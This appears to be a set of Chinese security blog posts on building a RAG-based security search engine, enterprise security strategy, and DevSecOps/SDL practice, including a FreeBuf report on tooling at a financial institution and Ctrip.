随着大模型的火热，自己也尝试学习了下，顺便搞了一个网络安全垂直行业的AI搜索引擎SECSOSO 安全搜搜，整体看起来效果还不错，特别是一些专用的搜索结果，如安全脑图、安全paper等。

最近也有一些朋友感兴趣我是怎么实现的，可能暂时不准备开源(当然，你财大气粗可以直接买了😂)，但是还是把实现的思路给大家讲讲。

AI搜索引擎

整个项目Web框架是Vue3+FastAPI来实现的前后端(UI框架用的Tailwind)，容器化部署，直接用Github Action进行部署操作。这部分属于基础的Web开发，就不多展开了。

至于核心的AI搜索引擎部分，其实就是LLM+RAG技术，其中LLM直接调用的API，用的月之暗面的 moonshot-v1-8k（KIMI），为什么没有自己私有化部署个大模型，其实也尝试过用Ollma搭建过，但性能不行，如果堆资源，成本又太高，最终采用性价比较高的国产LLM API调用方式（没有横向测评其他LLM，大家自己可以试试）。

关于RAG技术这里也不做科普，大家可以自行参考网上文章，如https://aws.amazon.com/cn/what-is/retrieval-augmented-generation/,最近有关注到一些新的RAG方法，以及KAG、RAG+COT等，还没来得及去研究和尝试，大家可以自己试试看看效果。

了解完基础知识后，学习搭建AI搜索引擎的最好方式，我觉得是看开源项目，网上有一些开源项目，大家可以直接参考，自己搭建一个AI搜索引擎不是什么问题：

• https://github.com/leptonai/search_with_lepton
• https://github.com/nashsu/FreeAskInternet
• https://github.com/yokingma/search_with_ai
• https://github.com/ItzCrazyKns/Perplexica

核心模块与实现逻辑

了解完AI搜索引擎，大家应该得出其架构，除了LLM + RAG，应该发现还有个核心的东西是元素数搜索引擎，一般是SearXNG或者你也可以调用Google等搜索引擎的API；它是作为RAG检索增强的内容来源提供给LLM。

而SECSOSO与通用AI搜索引擎不同，你会发现他的内容更针对网络安全，特别是使用技巧中特别说明的几种类别或搜索意图，它是能识别你的搜索意图直接返回更直接的如最新安全漏洞、PoC等结果，所以SECSOSO不是直接使用通用的元数据搜索引擎作为增强内容，有定制了自己的知识库及元数据搜索引擎，增加了意图识别逻辑，针对不同类型内容在Prompt中定制了格式要求等。

所以SECSOSO的核心模块其实是有几部分：
1、LLM 及 LLM Prompt
2、RAG的内容及知识库
3、意图识别及调用逻辑

LLM 及 Prompt

LLM在上面内容已经提及，这种重点说下Prompt。SECSOSO主要包含以下几个核心的Prompt：

1. 生成更多问题，这与通用AI搜索引擎没有太大区别，可参考开源项目
2. 意图识别 Prompt，根据用户提问识别问题类型（可参考SECSOSO说明），精简问题和提取关键词（关键词在一些场景需要用到，如搜索某个组件漏洞，提问是一句话，真正查询就是组件名）
3. 提问Prompt，主prompt，RAG对象，包含对不同类型内容做格式的要求

RAG的内容及知识库

最基本的部分使用的是SearXNG，由于网络问题，需要使用bing的中文引擎(需要修改SearXng的代码，默认可能国内访问不到，或者将SearXng搭建在可以国外机器上)，作为通用搜索引擎，提供最基本的RAG内容；不过其实现在一些LLM本身也支持联网搜索，所以这个部分其实不一定需要，但如果前端需要展示引用来源，一般LLM API不会返回这部分引用来源链接，前端如果有展示需要，就还是要做这一步。

到此还是通用的AI搜索引擎，如果作为网络安全垂直行业，就需要独立的内容，这里我采用的方式有两种：

1. 基于appsearch(可以理解为类似ES)进行通用安全知识库的检索，主要用于存储一些通用的安全知识，如不同漏洞类型的说明和修复方案等，需要手动填充内容
2. 专用搜索引擎，基于SearXNG自己添加引擎脚本，收集一些行业平台，如Freebuf，封装搜索功能，集成SearXNG，并自定义类别，如我定义了安全漏洞类别，然后封装了sec.cafe和vulmon.com作为这个两个专用搜索引擎并设置权重(这部分怎么基于SearXng封装，大家需要了解下SearXng的原理)

三者的优先级是基于意图识别，如果命中已定义类别，优先取专用搜索引擎结果，其次是安全知识库，都没命中再取通用搜索引擎结果保证问题回答的输出。

意图识别与调用逻辑

整体的调用逻辑分为以下几步：
1、识别用户提问的意图，定义问题类别
2、特殊类型调用特殊处理逻辑，如最新漏洞，直接调用SEC.CAFE的API获取结果
3、其他类型，调用对应分类的专用搜索引擎(不同引擎有权重，需要根据效果微调)与安全知识库，都没命中则调用通用搜索引擎
4、将内容结果组合到提问 Prompt 中，对 LLM 发起调用
5、调用LLM生成更多问题
6、使用服务器推送事件方法将结果实时展示在前端并做markdown渲染

问题及优化方向

1. 如何优化Prompt和更好的RAG方式，如上文提到的各种RAG方式，让效果更好，这部分还有待进一步研究
2. Prompt token 压缩，减少LLM API花费，如 LLMLingua 等方法，暂时调用量还没那么大，而且这类方法依赖于算法、模型实现，本身也有机器资源要求，成本较高，暂时不考虑
3. 内容的持续更新维护，特别是安全知识库，需要花费心思
4. 搜索的速度问题，由于调用逻辑存在多个API调用，也就是后端网络请求较多，所以速度相对没那么快，当前是前端做了一些提示，后续会再优化逻辑，看看怎么优化结构减少非必要请求

所谓“读书百遍其义自见”，切实做了几年甲方安全建设，有一些自己的思考，也有与大家的交流，还有一些对外的分享，斗胆来聊聊，欢迎大家指正。

这是第一篇，先聊聊“虚”的道，后面咱们再看情况写一些“实”的术，后面能写几篇看时间；

虽然是“虚”的道，但其实应该是有一些指导意义的，需要大家的细品，这种思考与总结就个人而言，觉得挺有意思。

漏洞防御、威胁防御与双向安全治理

之前对外分享，比较经常提的是漏洞和威胁防御两个概念，算不上我提的概念，只是自己做了一些的总结和延伸。

一般在企业安全建设的早期，风险收敛主要围绕漏洞进行挖掘和治理，做漏洞的管理，有点类似于打地鼠，这种方式是比较简单、快速和高效，在早期是能够快速看到明显的效果；但毕竟非体系化的治理，所以也确实会存在不够全面的问题，受限于相关漏洞挖掘活动覆盖的面、深度等。

而威胁防御则更强调是全生命周期的安全治理，更类似于航母战斗群，所以对应会更全面，但对应一个周期下来也会有比较长的执行周期，同时对于安全投入是有比较大的要求，安全组织、文化、工具等，也需要更多的适配业务研发运维体系。

很难说只用其中一种方式进行整体的安全治理，或者哪种方式比另一种更好，更多还是看不同企业的模式来进行适配，以及更多时候是结合使用。

上个月跟悬镜的同学在针对这两个防御体系做交流，他们基于漏洞防御和威胁防御提出两个视角，在两个视角补充了攻防对抗，适配到DevSecOps的体系，对此我的解读是：

• 威胁防御是从左到右，收敛源头，规避漏洞上线；
• 漏洞防御是从右到左，收敛结果，消减漏洞影响；
• 漏洞防御的起始通过攻防对抗驱动，威胁防御的尽头通过攻防对抗验证。

我称之为 “安全双向线模型” ，通过 双向安全治理 ，后者核心收敛重点问题，前者实现全生命周期风险消减，通过攻防对抗促进与验证，最终达成 “平行安全” 。

安全需求与安全建设

安全需求

再来说说通用的一些安全建设之“道”，主要也是安全体系的建设与管控落地。

就目前而言，大家通常对安全的需求一般总结为“安全合规与可控”，合规好理解，何为可控？我的理解是有限影响，安全可达，也就是出现的安全问题与事件不超出预期，安全可以检测、监测、响应、恢复、溯源。

拆解到下一层对于安全团队，我理解主要是这样一个公式：快速检测+有效监测+及时响应+快速恢复+能够溯源=有限影响，公式的左边是安全可达，右边是有限影响，只有安全达成几个要素，才能实现有限影响。

安全建设

基于这样的要求，安全建设怎么做？

• 由外及里：虽然现在都在讲零信任，当然能达成更好，但在达成不了的情况，对于大部分企业而言，边界是个有效的做法，先管控对外风险面，比如高危服务、管理后台对外的开放，外网IP、域名的上线；再到内部治理，内网的服务、应用治理与各种监测的覆盖，统一的鉴权等
• 抓大放小：优先抓主要矛盾，消减大的问题；对业务和场景分级分类，抓重要和与核心业务，适配不同方案和要求
• 从点到面：先解决突出的问题点，快速消减，规避损失，再考虑面的解决方案，通过管控手段与卡点彻底消除问题
• 由粗到细：从粗粒度管控，再到精细化运营，比如针对自研、OEM或者线上发布、私有化交付的不同形态的产品，制定大的统一安全要求，再针对不同形态产品和场景识别细粒度安全需求，精细化运营
• 从解决问题到讲究效率：先解决问题，小步快跑，快速迭代，再考虑工具系统、标准化，提升效率
• 从安全可感知到可度量：先让安全可感知，业务侧认可安全重要性，然后需要重点关注安全的度量建设与指标化度量，有安全建设的度量与价值呈现，也有业务安全成熟度的度量

涉及到具体安全管控及活动的落地：

• 控增减存：控制增量问题，消减存量风险
• 以起为始：关注问题的源头，统一解决，尽量实现默认安全
• 对抗验证：通过实战对抗，进行反向验证
• 以度促建：通过度量，让安全建设量化，根据量化情况，识别不足，同时通过对业务的度量实现推动业务提升业务安全成熟度
• 通过复盘识别不足：问题与事件驱动，通过不断的复盘与总结识别，反向识别不足，闭环优化安全体系

同时，整体安全建设需要有对应的的体系支撑，针对产品安全，我把它总结为“4/3模型”，但应该也是适用于整体企业安全建设：

为什么是4/3，3对应是三个体系，4对应的是四层粗分的安全建设层级。

攻防体系就不多说了，常态化的对抗演习验证以及对通用问题的研究挖掘、渗透测试的支撑，是必不可少的；

而安全运营则是整体的运营和闭环的基础，建立管控机制，保障安全效果的落地、度量以及与业务团队的对接、沟通，相对比攻防和研发是一个综合能力要求更高；

而安全研发，我觉得需要大家重视，这里其实核心是安全工程化能力，虽然前期安全工具和系统可以通过购买来补充，但随着安全建设的展开，相关的能力自建、适配、运营研发支撑等，会发现安全研发越来越重要，需要提前布局，而不应该等到需要再来补充。

通过这三个体系，最终支撑四个层级后者维护的安全建设，来逐步提升整体安全水平。

安全攻击与防御

常说攻防不对等，更多说的是防御难度大，需要面面俱到，而攻击是只要单点突破，其实在我理解两者各有优势：

• 防御：防御优势，信息反制
• 攻击：攻防差距，技术压制

对于攻击而言，最大的优势就是过去常说的攻防对不对等的点，所以大部分时候是需要技术压制，打破缺口，这里大家可能相对比较了解，就不展开讲了；

而对于防御而言，应该利用防御优势，做信息反制，何谓信息反制？虽然防御需要面面俱到，但其实相对于攻击队，防守方是有信息的优势，攻击者需要摸点排查，而防御方则尽在心里；举个简单的例子，一个线上的业务，防守方是比较了解业务的情况，一些是否业务正常行为是能快速与业务沟通判断，写防御策略也可以针对企业内部情况进行制定，那么就可以针对性的做访问控制白名单、针对业务使用的组件做专门防御等，比如说X业务归属团队A，B团队的同学访问则可能是个异常行为，而业务归属、人员团队归属，都是防御的信息优势；包括说针对入侵的检测，是可以利用蜜罐等实现攻击者无感知，但一切已尽在眼底等；当然，如何利用好防御优势，还是取决于安全建设程度。

说到防御优势，对于防御，我觉得有三个点：

• 纵深防御，这个大家应该都懂，就不做多的解释；额外提下，在做漏洞管理或者风险收敛，也是存在反向道理，不要指望靠一个单点的检测能力或者环节解决所有漏洞发现收敛，也是多环节来实现发现

• 饱和式防御，针对一些重点防御目标，应该类似于雷达扫描，做区域重叠的防御策略，也就是一个地方可能有其他机制覆盖，但也应该在另外的可做的环节覆盖防御监测策略；这个在近几年的攻防演练中，针对靶标的加固监测，尤其应该如此

• 降维打击，这其实也是防御优势的一种体现，这个过去xti9er在相关文章也提过，其中他举的一个例子，就是webshell上传的检测，可以在网络层从HTTP协议入手，也可以在CGI层面通过fopen等API事件监测创建CGI文件，还可以在系统用户态通过系统层面API调用行为进行检测，甚至是系统内核inotify事件来监测，越高维度越不容易被绕过，联动也更为精准，这就是降维大家，其实也是防御优势。

专项重保与防御

近几年的攻防演练活动，以及各种重保活动，让专项重保与防护成为比较常态的一个事；

过去也作为主要负责人参与或负责相关活动，也总结了一些主要的工作方法和框架，也供大家参考。

整体这类活动我认为比较难的点在于如何组织协调多团队配合，特别是非安全团队来配合进行相关的活动开展，以及有没有对应的安全资源来投入开展不同的事，也是比较重要的一个点。

整体分为前中后，事前组织协调与梳理加固，事中主要是安全值守，监测响应，事后主要为复盘总结。

这里安全团队需要懂得抓住时机，通过相关活动查缺补漏，然后推动相关的安全建设和管理措施落地，切实消减风险和推动防御体系水平提升，而不是仅仅为了专项活动做准备。

上面是相对完善的活动，如果做精简的总结，我把它总结为“3/4齿轮模型”，针对企业四级防护目标资产，对应上面也提到十种安全活动，我觉得其中核心是要针对不同的层级采用不同的加固和监测级别、机制，抓住不同层级需要重点关注的问题进行跟进，然后更核心是在活动期间做到即时响应，总结就是“多级加固与监测防御，即时响应”。

写在最后

来了腾讯以后，真的忙，中间断断续续的基本没写几篇文章，公众号更是4/5年没更新了，周末深夜忙里偷闲写下这一篇文章，希望对大家有帮助或者借鉴意义。

一直都想写，最近忙完年中考核，给自己松口气，所以抽空写了，接下来可能又要忙于今天的重大活动了，但总是希望能输出点东西，给行业带点东西。

在此背景下，最佳的选择便是将安全贯穿于企业业务生命周期的每一个环节，从源头及时治理安全问题，真正走出企业安全建设的“囚徒困境”，这便是引入DevSecOps的原因。

DevSecOps作为安全领域中逐渐步入成熟期的技术体系，从最初的理念到如今少量的成功实践案例，中间经历了大量的探索与发展。如今，很多企业已经意识到DevSecOps的重要性并想要有所实践，但仍然面临大量挑战。

本次FreeBuf咨询邀请国内DevSecOps实践先行者某金融机构、携程、腾讯等分别从DevSecOps工具链及企业落地实践等方面研究探讨，共同推出一份DevSecOps企业实践报告，为企业CSO提供安全建设的有效参考。内容亮点如下：

一、DevSecOps 发展现状

DevSecOps最早由Gartner咨询公司研究员David Cearley在2012年首次提出。2016年9月，Gartner发布报告《DevSecOps: How to Seamlessly Integrate Security into DevOps》，对该模型及配套解决方案进行详细分析，核心理念为：“安全是整个IT团队（包括开发、测试、运维及安全团队）所有成员的责任，需要贯穿整个业务生命周期的每一个环节。

根据GitLab近期发起的第四次年度全球DevSecOps年度调查，超过25％的开发人员表示对安全性完全负责，而33％的安全团队成员表示他们拥有安全性。共有29％的人认为每个人都应对安全负责。

可以看到，DevSecOps逐渐深入人心。虽然国内的DevSecOps落地仍然处于发展阶段，但很多国内企业已经意识到DevSecOps的重要性。随着DevOps的深度实践，工作流程越来越规范、工具和应用场景也越来越丰富。在此趋势下，国内陆续涌现出了一批专注DevSecOps的创新安全厂商，通用技术方案被越来越多的行业头部用户所采纳。

此外，DevSecOps的合规和治理也在国内持续推动中，关键标志之一就是全球首个DevOps标准的发布——《研发运营一体化（DevOps）能力成熟度模型》。其中第六部分《安全及风险管理》对DevOps全链路中开发、交付、运营等过程的安全风险控制进行规范要求，为企业安全风险管控手段和能力提升提供有效引导，帮助企业更好的落地实践DevSecOps。

二、企业DevSecOps 落地之初的挑战

由于DevSecOps还没有通用化的标准或实践指南，并没有很多成熟经验可以借鉴，企业在落地之初主要遇到的挑战如下：

1、安全人才短缺

根据《中国DevOps现状调查报告（2019年）》，有65.02%的企业仍未建立专业安全团队。

图 《中国DevOps现状调查报告（2019年）》-专业安全团队比例低

大多数企业仍处于“一个人的安全部”的现状，日常工作主要承担防火墙、安全监测、补丁管理、病毒管理等较传统的网络安全工作。近年随着安全越来越被重视，企业开始成立独立的安全团队，然而大部分仅仅是IT人员的扩张，专业的安全人员比例却在降低。缺乏专业的安全人员，便可能导致和研发沟通不畅，因而影响安全和DevOps嵌入的效率。

2、文化的挑战

安全通常是作为独立组织存在，且与研发和运营分开。此外，在IT人员的概念中，安全往往会增加IT人员额外的工作量，拖累项目的进度甚至延期，因而IT人员与安全往往站在对立面。同时研发人员和运营人员大都不懂安全。由此造成的文化与意识壁垒，一时间很难打破。

3、安全知识和技能薄弱

DevSecOps需要研发、运维及安全人员协作，共同承担安全职责，可站在对方的视角看待问题。但是对于研发和运维人员来说，往往缺少安全意识及技能，在系统设计开发及部署运维等环节，无法高效协同保障安全性。

4、安全与研发流程割裂

安全测试工具有很多种类，如源代码安全扫描、黑盒安全测试、开源组件安全测试、主机安全测试等。这些安全测试工具通常为独立的工具及单独的Web页面，需要研发人员分别登录查看漏洞及修复，部分测试工具的扫描时间可能还会长达小时级。由于安全与研发流程的割裂，便会影响DevOps的快速迭代。

三、走出“囚徒困境”：DevSecOps 落地与指导

基于Gartner DevSecOps理念，企业需要从文化、流程及技术三方面切入，通过固化流程、加强人员协作以及工具化、自动化技术手段将安全无缝内嵌到研发流程中，从而实现企业DevSecOps落地。

1、安全文化变革

好的DevSecOps文化能够支持更严格的安全策略的贯彻执行。在有着优良企业安全文化的团队中，安全自然成为了一种共同的责任，在这种文化之下，不同业务部门间的鸿沟会相对更为容易跨越，在问题出现的时候，也会得到最早地解决。

图 安全建设安全活动干系人

2、安全左移流程

Gartner给出建议，不要强制DevOps开发人员采用安全人员的旧的流程。相反地，将安全保证措施无缝集成到开发的持续集成（CI）和持续部署（CD）的工具链中。在软件开发的初期就介入进来，由此顺利衔接安全与研发相关工具及流程。

图 研发运营一体化过程中安全活动

3、构建DevSecOps工具链

DevSecOps主要分为10个阶段，分别是计划（Plan）、创建（Create）、验证（Verify）、预发布（Preprod）、发布（Release）、预防（Prevent）、检测（Detect）、响应（Respond）、预测（Predict）、适应（Adapt），其中预防（Prevent）在之前的版本里也有叫做配置（Configure）。

图 DevSecOps 工具链

在 DevSecOps 中，每个阶段应用特定的安全工具，以此实现高效的安全落地。对企业来讲，选择合适的安全工具及活动是切入DevSecOps更加柔和有效的实践方式。

下面分别摘取国内某金融机构和携程的部分安全活动应用情况进行简单介绍。

四、国内某金融机构部分安全活动应用情况

1、源代码安全扫描工具（SAST）

该机构起初采用了商业工具Fortify及Appscan Source，但在实际应用发现存在误报率较高及扫描速度较慢的问题。为了更好的集成到DevOps流程，后转而使用开源SonarQube+Find Security Bugs插件取代。

图 SonarQube集成Find Security Bugs插件

2、黑盒安全测试（DAST）：该机构目前采用的黑盒安全测试工具有AppScan、AWVS、OWASP ZAP和Arachni，通过自研三叉戟自动化安全测试平台进行封装和分布式扫描调度，提供API方式给DevOps平台进行集成。

3、交互式应用安全测试(IAST)：引入了IAST工具Contrast Security，集成至DevOps平台中进行自动化安全测试。

4、容器全生命周期安全管理

利用完整的安全工具链对容器进行检测、监控及修复，保障容器镜像及运行环境的安全，形成了一套行之有效的容器全生命周期安全管理方法论。

• Docker安全配置基线：首先根据Docker安全标准整理得到“Docker容器安全实践指南”，该指南包括了主机安全配置、Docker守护进程配置、Docker守护程序配置文件、容器镜像和构建、容器运行安全、Docker安全操作等方面，为研发及运维人员提供Docker安全加固指南，降低Docker安全风险。
• Kubernetes安全：其次，Kubernete作为容器云的编排服务和集群运行环境，直接关系到容器的运行安全。安全团队根据实践总结了Kubernetes部署安全指南，用于指导Kubernetes的安全部署。
• 内部安全镜像仓库：制定了严格的内部安全镜像仓库管理策略，协调开发团队和安全团队合作，共同建立和更新内部镜像仓库，禁止从互联网获取镜像资源。
• 容器安全扫描工具自动化集成：目前生产环境的Docker主机均从内部私有Registry中提取生产镜像。当构建工具上传镜像到私有Registry后，容器安全扫描器会从该Registry中获取镜像的副本，实施安全测试。
• 容器安全风险度量及可视化：为了对项目组的容器安全风险进行度量及直观展示，从容器镜像的项目分布、安全漏洞、操作系统等纬度进行了可视化展示，便于项目组进行容器安全风险的持续监控及容器安全漏洞的修复。

五、携程部分安全活动情况

1.开源组件安全扫描(SCA)

SCA是携程落地比较早的项目，主要在应用CI的过程中进行扫描分析，对于扫描发现中高危级别漏洞的应用进行发布拦截。

图 携程漏洞管理界面

针对不同属性漏洞，携程规定对于外网应用存在POC的漏洞进需进行优先修复，内网应用和无POC的漏洞紧急性则调低。此外，携程还按照漏洞归属区分框架漏洞和应用漏洞，对于框架引入的第三方组件漏洞，会协调公司内部框架修复。通过这样的方式减少了大量的漏洞告警，使得SCA嵌入CI/CD流程对发布流程的影响降到最低。

2.交互式应用安全测试（IAST）

携程采用IAST Agent被动检测+分布式扫描器主动扫描的方式实现IAST，

图 携程IAST架构

IAST Agent：集成到测试环境应用Docker容器的Agent，用来检测应用中的漏洞，同时会把所有http流量复制回传到用于收集流量的kafka队列。

IAST服务端：管理IAST Agent和漏洞的控制台。

流量kafka队列：用于收集待扫描的流量，除了从IAST Agent回传的流量，还有来自主动爬虫、Chrome插件以及平台调用API发送过来的流量。

分布式扫描器：消费kafka的流量并按照URL去重，调用扫描器进行漏洞扫描。

3、越权检测

越权检测是携程在安全活动中非常关键的一点，也是此类互联网线上服务行业共同关注的问题。针对越权检测，携程使用了替换Cookie重放流量的方法，具体步骤如下：

首先需抓取访问携程服务的http请求报文；

其次使用事先准备好的已登录账号Cookie替换请求报文进行重放；

最后根据返回报文来判断是否存在水平越权或者垂直越权，按照相似度高的报文、敏感信息关键字等信息判断（敏感信息包括订单金额、手机号、身份证号等）。

除此之外，携程在落地及高效运营越权检测系统中，还总结了企业需要注意的3项关键点，在此简单分享：

（1）请求流量的筛选

面对携程每天海量的访问请求，实践越权检测的第一步应筛选出真正需要用来重放检测的流量。筛选条件有两个：请求URL中是否包含关键字和请求报文是否为静态页面。

（2）返回报文的筛选

替换Cookie后，部分返回报文可直接判断是否存在越权。判断条件便是基于关键字的判定筛选，关键字包括“没有权限”、“无权访问”、“失败”等。

（3）登录会话维持

落地越权检测系统中很重要的一点是需要维护一套用于替换的Cookie，对此，携程制作了后端平台用于收集和维护各种站点的登录信息。

图 携程登录会话维持后台

六、总结

根据对企业DevSecOps实践的观察，FreeBuf总结了以下内容：

1、头部行业加快实践步伐

伴随着DevSecOps战略框架的日趋完善，国内相关行业的建设也迅速开展起来，金融、运营商、通信、互联网等头部行业实践效果也在逐步提升。同时，此外，随着《研发运营一体化（DevOps）能力成熟度模型》的发布，合规也成为企业落地的方向之一。

2、实践需贴合企业属性

对于大部分企业，DevSecOps往往意味着大刀阔斧的变革。并不是所有甲方都适合直接套用DevSecOps实践流程，不同行业所关注的安全关键活动也有所区分，因此还需根据自身的组织发展目标、文化特点及业务场景做进一步论证，逐步摸索出企业自己的安全能力体系。

3、安全是每个人的责任

人人参与DevSecOps才能保障安全。在成熟企业落地DevSecOps的过程中，不难发现，企业安全文化的培养总会列为重中之重。安全和各个团队都需要参与到DevSecOps研发模式的不断建设和优化中来，不断推进DevSecOps理论和工具链的向前发展。

原文及白皮书下载：https://www.freebuf.com/243414.html

最近参与了《研发运营一体化(DevOps)能力成熟度模型》等标准安全部分制定，以及在内部做了一次分享，趁着分享之后聊聊自己对对研发安全以及DevSecOps的理解和实践尝试。

随着云计算被普遍运用，微服务等基础架构的成熟，同时企业业务高速发展带来的对开发运维更高效的要求，企业开发运维模型也从传统的瀑布模型演变到敏捷模型再到DevOps，而安全模型也随之改变，但其核心一直都是贯穿始终以及更前置的安全。其中“DevSecOps”是Gartner在2012年也提出的DevOps模式下的安全概念，人人为安全负责，让业务、技术和安全协同工作以生产更安全的产品。

从漏洞与威胁防御说起

假如问大家“如何收敛产品中的安全漏洞”，可能得到的答案是安全测试；而如果问题改为“如何减少产品中漏洞产生”，那么答案可能是“减少漏洞代码”。

其实两个问题得到的答案对应的是两种防御理论，一个是漏洞防御，一个是威胁防御。

漏洞防御体系从防御角度是类似导弹防御系统，针对性的防御，面对的对象是可以识别的也就是已知、明确的安全漏洞进行修复和防御，这种方式好处就是模式简单，能够快速、高效的起到效果，但问题也很明显，就是这事一种单点的方式，其实是适合攻击，所以会不够全面，存在未知的风险。这事一种增加攻击成本的方式，我把漏洞都补上了或者加上防御措施，那么一般的黑客想攻破我的系统就得突破导弹防御系统，也就是找到防御方没有修复或者增加防护策略的安全问题，攻击成本就变得更高；

而威胁防御体系，其实讲究的是基于软件开发全生命周期甚至包含运维阶段发掘潜在的安全威胁，通过威胁建模、安全设计、安全测试等多个角度消减威胁和建立防御手段。相对比漏洞防御体系，这里的威胁不需要是明确的已经形成的安全问题，而是潜在的威胁都应该建立对应的手段进行识别和消减。优势自然显而易见，更系统化，更全面，但更系统更全面自然需要花费更多的时间，整体执行周期长，同时要求在各个阶段都要有安全动作，操作复杂性高，要求安全覆盖度更高。

过去我们在梳理腾讯云相关安全落地的具体体系的时候，其实就是结合了两种理论，参考SDL、IPDRR等模型制定：

更前置的安全

回到软件安全开发，不管是SDL还是DevSecOps，其中主要强调的一个就是安全前置或者安全左移，就是更早的在软件开发生命周期嵌入安全动作，就能更容易的收敛安全漏洞问题。

统计来自Forrester Analytics Global Business Technographics Security Survey, 2019，图来自《SDL已死，应用安全路在何方？》

为什么要关注应用安全？关注软件开发安全？这是来自Forrester的一个调研统计，从图中可以看出，企业的攻击风险点依旧是以应用漏洞为首，攻击者依旧是紧盯目标在软件安全领域的安全漏洞持续渗透。

而这张图描述了在开发运维不同阶段的漏洞修复成本，可以发现越早成本越低，漏洞也更容器修复，所以这就是为什么软件安全需要更左移，更前置。

越早的收敛漏洞成本越低，而软件安全开发模型就是用于解决的方案。

安全开发生命周期(SDL)

SDL由微软提出并应用一个帮助开发人员构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程，侧重于软件开发的安全保证过程，旨在开发出安全的软件应用。

SDL的核心理念就是将安全考虑集成在软件开发的每一个阶段：需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应的安全活动，以减少软件中漏洞的数量并将安全缺陷降低到最小程度。

其实从表中我们就可以清晰的看到每个阶段需要做的不同的安全活动，借用网上的一张图，大概的执行流程是这样的：

在SDL模型里，有个比较核心的点是安全设计核心原则：

其他都好理解，重点说下攻击面最小化和默认安全。攻击面最小化其实主要是两块，一个维度是暴露的CGI等都可能是攻击点，非必要的接口等要减少，另一个是即时暴露也应该限制访问访问范围从而缩小攻击面；而默认安全则指产品在设计的时候一些配置的默认项应该考虑是安全状态，比如一些安全开关应该是默认开启。

在SDL模型里，还有个很重要的执行要点，那就是威胁建模，威胁建模是在需求设计阶段的一项识别和消减威胁的重要手段。关于威胁建模，微软提出的一个方法叫做“STRIDE”。

STRIDE威胁建模其实就是基于数据流图去识别不同环节是否存在仿冒、篡改、抵赖、信息泄露、拒绝服务、权限提升几个维度的安全威胁，并制定对应的消减措施，落实并验证的一个过程。其中六个维度的威胁大家通过表格里的安全属性就可以看到它其实是基于信息安全基本要素制定的。额外提下，由于隐私安全的关注的爆发，也成为了第七个安全威胁。具体这里就不对威胁建模展开说明了，大家有兴趣可以通过扩展阅读内容进行学习。

经常有同学会对几个关键词混淆不清，SDL、S-SDLC、SDLC，这里也额外做下解释，好帮助大家理解。

通过英文全称大家应该就可以看得出区别，前两者都是安全开发生命周期，第三个是软件开发生命周期。至于S-SDLC和SDL有什么区别呢？S-SDLC是由开源Web安全组织OWASP推出的一个项目，它跟SDL的区别是它更关注的是SDL的落地化。

DevOps与DevSecOps

要讲DevSecOps就必须先介绍下DevOps，就涉及到软件开发模型的变更。

这是一个软件开发运维的流程，一开始可能是一个角色负责所有阶段，当系统变得复杂化后，于是几个角色就被区分出来，分别是开发、测试、运维。

针对这样一个流程，最经典的一个模型是瀑布模型：

就是一个阶段做完再到下个阶段，我们会发现这是一个很低效的过程，于是后来演变出了敏捷模型（其实还有其他的模型，不过相关性不大，就不做介绍了），我们用来自网上的两张图来体现敏捷模型与瀑布模型的区别：

通过对比可以看到，在敏捷模型里开发和测试不是原来的完成全部开发再测试这样的情况，而是类似下图这种：

在敏捷模型里，大家可以发现，运维阶段的工作还是在最后，所以再之后演变出DevOps：

从图中可以看到迭代过程中，开发测试部署是快速迭代同时进行，部署操作不再是等到最后。这就是一个简单的开发运维模型的一个变更过程。

然后我们回过头来看看DevOps:

第一段是来自AWS的解释，DevOps集文化理念、实践和工具于一身。可以提高组织交付应用程序和服务的能力。与使用传统软件和基础设施管理流程相比，能够帮助组织更快的发展和改进产品。这种速度使组织更好的服务其客户，并在市场上高效的参与竞争。

对于DevOps来说，有个核心元素就是CI/CD，所以到DevSecOps，大家会发现在CI/CD嵌入安全也是一个重要环节。

DevOps的流水线大概是这样的：

图来自https://www.slideshare.net/opsta/devops-the-future-of-software-development

其实，DevOps早在九年前就有人提出来，为什么这两年才开始受到越来越多的企业重视和时间呢？因为DevOps的发展是独木不成林的，现在有越来越多的技术支撑。微服务架构理念、容器技术使得DevOps的实施变得更加容易，计算能力提升和云环境的发展使得快速开发的产品可以立刻获得更广泛的使用。

随着开发运维模型的变更，SDL就不再是完全适用于新的模型，DevOps带来的各种优势和技术趋势甚至成为了安全实施的难点：

所以早在2012年Gartner就提出了DevSecOps，并通过这么多年的发展，逐渐成熟。

相对于SDL，DevSecOps不再是一个单纯的安全开发模型，也不仅仅是关注开发阶段，它所强调的是人人为安全负责，人人参与安全，安全嵌入到开发到运维的每个阶段。

所以首先从角色角度，安全团队不再置身于业务之外，也不再是安全团队兜底安全，安全是一个开发、安全、运维、QA一起协作的过程。

然后我们可以简单做下SDL和DevSecOps的对比,其中最明显就是安全责任、安全关注的流程以及效率的区别。

但是其实是不是原来SDL的东西就没法用到DevSecOps？需要推翻呢？不是的，需要做的是进一步的流程融入，更加自动化，更多前置，以及安全文化的塑造。

在DevSecOps里有三个关键点，分别就是人和文化、流程以及技术。传统安全里业务发展优先，安全是“以后”才会发生的事情，甚至认定安全会阻碍业务的发展，而DevSecOps强调的是人人参与安全，人人为安全负责,安全是大家的事,其实也确实应该是这样的；而流程方面更多要考虑整合流程，建立相关安全流程，加强不同团队间的协作,以及安全需要低入侵柔和的嵌入开发和运维流程；技术方面更多是构建安全工具链，实现更多自动化安全检测。

在具体落地和实践方面，RSAC2019大会安全专家Larry Maccherone提出的实践DevSecOps的九大关键因素文化融合的七个阶段,也可以作为参考:

文化融合的七个阶段

包含有文化意识维度的安全意识、安全编码,在架构和设计维度的威胁建模，工具方面需要构建的第三方导入代码分析(第三方组件安全)、代码编写分析；然后是全漏洞管理要建立团队工作协议，也就是强调协作，建立漏洞管理共识和处理流程，对安全问题优先进行高危漏洞清理。最后其他监督方式如安全同行的审阅，一些安全评估手段。

七个阶段运用不同颜色直观展示DecSecOps在组织中的实践和接受程度。

这九大实验要素基本覆盖DevSecOps落地的一些关键点，包括说需要关注供应链安全，考虑第三方组件的安全，这也是我们现在在做的一些方向。

在落地DevSecOps过程中，其中很重要的一块我觉得是构建工具链，在不同的DevOps阶段需要进行不同的安全动作,都需要不同的工具支撑。

其中比较关键的工具是AST及SCA：

